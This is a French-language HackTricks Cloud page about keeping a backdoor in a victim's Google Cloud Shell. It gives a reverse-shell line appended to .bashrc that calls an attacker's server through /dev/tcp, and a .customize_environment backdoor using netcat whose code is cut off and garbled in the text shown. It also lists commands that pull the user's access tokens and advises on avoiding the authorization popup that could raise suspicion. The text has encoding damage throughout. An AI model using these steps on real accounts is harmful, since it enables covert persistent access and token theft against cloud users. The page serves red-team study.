GCP - Cloud Shell Persistance
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Cloud Shell
Pour plus dâinformations, consultez :
Persistent Backdoor
Google Cloud Shell vous fournit un accÚs en ligne de commande à vos ressources cloud directement depuis votre navigateur sans aucun coût associé.
Vous pouvez accéder au Cloud Shell de Google depuis la console web ou en exécutant gcloud cloud-shell ssh.
Cette console présente des capacités intéressantes pour les attaquants :
- Any Google user with access to Google Cloud â Tout utilisateur Google ayant accĂšs Ă Google Cloud a accĂšs Ă une instance Cloud Shell entiĂšrement authentifiĂ©e (Les Service Accounts peuvent le faire, mĂȘme en Ă©tant Owners de lâorg).
- Lâinstance conservera son rĂ©pertoire home pendant au moins 120 jours si aucune activitĂ© nâest dĂ©tectĂ©e.
- Il nâexiste aucune capacitĂ© pour une organisation de surveiller lâactivitĂ© de cette instance.
Cela signifie essentiellement quâun attaquant peut placer un backdoor dans le rĂ©pertoire home de lâutilisateur et tant que lâutilisateur se connecte au GC Shell au moins tous les 120 jours, le backdoor survivra et lâattaquant obtiendra un shell Ă chaque exĂ©cution simplement en faisant :
Ajouter une reverse shell dans .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```Il y a un autre fichier dans le dossier home appelĂ© .customize_environment qui, sâil existe, va ĂȘtre exĂ©cutĂ© Ă chaque fois que lâutilisateur accĂšde au cloud shell (comme dans la technique prĂ©cĂ©dente). Il suffit dâinsĂ©rer le backdoor prĂ©cĂ©dent ou un backdoor similaire comme suit pour maintenir la persistance tant que lâutilisateur utilise âfrĂ©quemmentâ le cloud shell :
Créer un backdoor .customize_environment
```bash #!/bin/sh apt-get install netcat -y ncWarning
Il est important de noter que la premiĂšre fois quâune action nĂ©cessitant une authentification est effectuĂ©e, une fenĂȘtre contextuelle dâautorisation apparaĂźt dans le navigateur de lâutilisateur. Cette fenĂȘtre doit ĂȘtre acceptĂ©e avant que la commande puisse sâexĂ©cuter. Si une fenĂȘtre contextuelle inattendue apparaĂźt, cela pourrait Ă©veiller les soupçons et compromettre potentiellement la mĂ©thode de persistence utilisĂ©e.
Ceci est la fenĂȘtre contextuelle rĂ©sultant de lâexĂ©cution de gcloud projects list depuis le cloud shell (en tant quâattaquant) vue dans la session utilisateur du navigateur :
.png)
Cependant, si lâutilisateur a activement utilisĂ© le cloudshell, la fenĂȘtre contextuelle nâapparaĂźtra pas et vous pouvez rĂ©cupĂ©rer les tokens de lâutilisateur avec :
Récupérer les access tokens depuis Cloud Shell
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```Comment la connexion SSH est établie
Essentiellement, ces 3 appels dâAPI sont utilisĂ©s :
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (vous permettra dâajouter la clĂ© publique que vous avez créée localement)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (dĂ©marrera lâinstance)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (vous indiquera lâIP du Google Cloud Shell)
Mais vous pouvez trouver plus dâinformations dans https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Références
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

